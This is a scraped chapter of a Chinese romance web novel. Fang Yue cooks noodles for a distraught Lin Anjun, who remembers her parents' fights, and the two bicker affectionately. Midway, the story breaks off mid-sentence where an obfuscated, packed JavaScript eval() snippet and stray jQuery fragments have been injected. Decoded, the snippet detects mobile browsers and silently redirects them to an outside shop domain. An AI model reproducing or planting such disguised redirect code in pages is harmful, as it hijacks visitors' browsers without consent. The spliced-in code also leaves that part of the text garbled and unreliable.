文趣网 > 其他小说 > 阴暗蘑菇生长日记 > 57. 第57章
    方跃把门关上,站在她旁边,后脑勺靠着墙壁。

    过了会儿,他把短袖脱掉,递给蔺安君。

    蔺安君接过去,把脸上的眼泪和鼻涕擦掉,“你先进去。”

    方跃把短袖拿过去,翻了个面又重新递过去,“我在你旁边盯着点儿,等会儿万一有人过来,我得提醒他们,你是悲伤的人,不是索命的鬼。”

    蔺安君把短袖塞回方跃怀里,转身按密码,刚按了两位数字,方跃抵在她身后,把她的手拍开,清零重按,一只手开门,一只手按着她的后背,亦步亦趋地走进去。

    想着要不要煮点红糖水之类的给蔺安君喝,没等他问呢,蔺安君走到阳台打了个电话。

    方跃跟随自己的心意没有尊重她的隐私,跟了过去,蔺安君看了他一眼,继续通话,“嗯,到了。我想起来今天我的前同事,对,就是信达带我的老师。她给我推荐了个学校,你能帮我查一下吗?”

    “会不会太麻烦了?”

    “好的,谢谢。”

    蔺安君挂断了电话,方跃问她:“吃煮方便面吗?”

    蔺安君看他:“家里好像没有了。”

    方跃回头指了指餐桌,“我今天买了。”

    蔺安君回到客厅坐下,“你怎么趁我不在来我家过起日子了,交房租了吗?”

    方跃趿拉着拖鞋,拎着购物袋往厨房走,“这不衣服脱了打算肉偿吗?要煎蛋还是荷包蛋。”

    “煎蛋。”

    “加火腿肠吗?”

    “也要煎。”

    “啧,你自己来做。”方越把锅拎到水龙头下面冲了一遍,用厨房纸擦干。

    蔺安君躺进方跃给自己攒的窝,看着天花板。

    耳边传来噼里啪啦的煎蛋声,翻面又是呲啦一下,接着是用筷子拨拉的声音,油接触到水分炸得很厉害,很快,厨房传来火腿肠的香气。

    叮当的碰撞声,是在将食材放进碗里。

    接着是呲啦之后闷闷的一声,水被注进了锅里。

    她看着干净又明亮的天花板,想起暗沉又发霉的那个家。

    曾经,她有过类似家的温暖,只不过痛苦居多,足以将所有的幸福淹没。

    小学时的家是一居室,爸爸在工地干活,常年不在家,妈妈开了家小小的服装店,放了学她回去帮忙收钱,有时太忙,妈妈会给她买一份烧鸭饭,有时没那么忙,妈妈会带她回家,路过菜场买食材回家做饭。

    “老板便宜点。”

    “服了,你捡点烂菜叶子回去得了。”

    蔺安君很小,隐隐约约觉得这样有点丢人,但又隐隐约约觉得觉得这样丢人是不对的,每次她都会躲在妈妈身后,装作在踢地上的石子,实则在逃避摊主鄙夷的目光。

    回到家,蔺安君在茶几上写作业,妈妈在厨房里做菜。

    噼里啪啦,呲啦,叮当碰撞。

    蔺安君不嫌吵,很久的很久之后,她才能领会那时的心境,是安心。

    菜叶子变成热乎乎的饭菜,吃不出廉价和鄙夷的味道,小小的蔺安君慢慢地长大,直到爸爸回来。

    争吵无处不在。

    “怎么,我离家没几天还不是你男人了?谁家女人天天让男人睡沙发?”

    “你临走之前不知道把碗洗了,回家还给我甩脸,哪家女人跟你一样?”

    往往两个大人还像人一样唇枪舌战时,蔺安君已经哭得像狗一样了。

    “求求了,别吵了,别吵了,爸爸不要打妈妈!爸爸不要打妈妈!”

    最开始还有用,孩子的哭声太晦气,惹得人心烦,往往两人只是用仇恨的目光砍上对方几眼,才会不欢而散。

    但渐渐的,随着矛盾升级,哭变得没有用,反而成为暴力冲突可怖的背景音,蔺安君对哭产生了应激。

    于是蔺安君不再哭。

    “吃完饭再哭。”方跃把煮好的方便面端到蔺安君面前,自己则是盘腿坐到茶几的另一个侧边,“赶紧,等会儿坨了。”

    蔺安君掀开被子,同样坐到地毯上。

    两面焦脆的煎蛋铺在上方,切成斜片的火腿肠煎出了焦香,面条煮得火候得当,浸满了汤汁,很好吃。

    然而蔺安君吃不下,吞咽让她反胃。

    勉强咽下一口,蔺安君小声地说:“我吃不下了。”

    方跃瞥她一眼,把她面前那碗移到了自己这边。

    “你怎么在这儿?”蔺安君问。

    方跃说:“我两个表弟今天在我家聚餐,非要跟去我家,吵得要死,我就过来了。”

    方跃很快将自己那碗解决掉,吃蔺安君那碗时,速度明显慢了一点,甚至有空斜眼翻她,“怎么?你不也没改密码吗?”

    蔺安君点头:“行,你私闯民宅你有理。”

    方跃晚饭其实吃得挺多的,这会儿有点吃不下了,但又不想表现出来,只能机械地往嘴里塞,“报警去吧,我的律师到之前,我有保持沉默的权利。”

    蔺安君幽幽地说:“你的律师不会是我吧?”

    方跃啊了一声:“害怕了吧。”

    蔺安君扯开唇角笑了,比之前的状态看上去好了一些,但方跃仍心有余悸。

    今天他并没有打算见到蔺安君,前几天他就知道今天蔺安君会回家吃饭,大概率也会住在家里面。

    但月圆之夜,他莫名的有些想念她,网络上,他以陌生人的身份和她共享一轮明月,现实中,难免感到缺憾。

    来这边除了嫌家里两个闹腾货太吵,还有一些他自己说不清道不明的原因。

    儿时曾有伙伴讨论起自己的阿贝贝,有的是一只特定的枕头,有的是一只兔子,有一个更是奇葩,竟然是自己的耳朵。

    脾气古怪又早熟的方跃对于这种幼稚的探讨嗤之以鼻,虽没有出言讽刺,但总归有些看不起。

    但当他到了蔺安君家,熟门熟路的去卧室拿了块毯子,躺在沙发上嗅着熟悉的气味时,他突然想到,如果遇到小时候的自己,他会对刻意远离讨论并默默翻着白眼的小方跃说,你真是个蠢货。

    而小方跃会说:“你才是越长越蠢呢!”

    明明他家庭幸福,并不缺爱,但在蔺安君这个出租屋,他却产生了此处安心是吾乡的感觉。即使她人不在,这种堂皇的登堂入室,像是一种隐秘的联系和默许,让他感到安心。

    她曾经说他是飘渺在无垠大海的一叶扁舟,可他竟然不再因逐流而感到自由。

    童年不存在的阿贝贝,在他人格健全后,以一种抽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758146|207542||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    象的形式出现,他开始产生被安抚的需求。

    眼神,气味,拥抱,泪水,是锁链,坠落之后,成为他的锚点。

    这里不是温柔乡,是他未曾见过的永无岛。

    他依旧固执地认为,自己也是那场交换人生的受害者,怨,恨,嗔,痴,他在和蔺安君在一起之后通通体验了一遍,该如何泯灭,如何消解。

    他感到害怕。

    如果他今天没有来呢?

    他一直都知道蔺安君是个很坚强的人。

    坚强的人不需要过度关心,比所谓爱和自由更重要的,是尊严。

    但当坚强被打碎,受到的冲击将摧枯拉朽,毁天灭地。

    如果说爱情有某个时刻,那如果他错过了这个时刻,他自己都会认为这份感情失去了存在的意义。

    就是这么不讲道理,但事实如此。

    没有谁离不开谁,比契合更重要的,是时机。

    “喝汤吗?”方跃问。

    蔺安君轻飘飘地说:“谁要喝你的剩汤。”

    方跃有点生气:“我怎么吃你剩饭了?”

    “因为你是小狗啊。”

    方跃瞪过去,蔺安君伸出手指勾了勾他的下巴。

    热度从他的耳根开始蔓延,似乎因为感到痒想要避开,但又只是抖了抖肩膀,保持着这样的姿态,直到绯红遍布整张白皙的脸。

    “你喝酒了?”蔺安君淡淡地移开视线,“脸好红。”

    方跃先是挑了挑碗里剩的面条,然后放下筷子,“你就装吧你。”

    “你陪我喝点酒吧。”

    “不陪。”

    “求求你。”

    “呵。”

    “不陪,我就又要哭了。”

    方跃看过去,蔺安君黑白分明的眼睛如水洗般澄澈透净,很平静地说着像是无理取闹的话。

    方跃心脏突然痛了一下,喉头滚了滚,埋头把最后一点面条吃完,“我不付钱,你请我喝。”

    蔺安君低头开始点外卖,方跃把两只碗拿去厨房,洗了很久的碗。

    出来的时候蔺安君正在看电视,一个做菜节目,厨师正在剖一条鱼。

    方跃坐到蔺安君旁边,“看这么认真?饿了?”

    蔺安君看着他:“有点。”

    “那就饿着。”

    蔺安君继续看厨师烹饪,薄薄的利刃几乎在手上挽成了朵花,可谓全场观赏性最佳,最终菜品评分为末等,被评委批评为花拳绣腿,不知料理是何意味。

    弹幕如万箭齐发般射了出去,全是为其打抱不平的。

    蔺安君问:“你觉得这个新人厨师会不会一蹶不振。”

    方跃懒洋洋地开口:“难说,要么一蹶不振,要么走莫欺少年穷的路线,三十年河东三十年河西。”

    “我觉得他很适合做日式料理,味道为辅,炫技为主,再搞个会员制餐厅,熟客才能预约的那种,搭上他这波流量,可能比他继续做中餐更有前途。”

    “为什么?”

    “因为做中餐讲究悟性,有人缺少对美味的感知能力,有人天生就能做出好吃的味道,比如你。”

    方跃按住蔺安君的脑袋,把她揉成了只炸毛的刺猬,“再煮一碗不吃完你试试看!”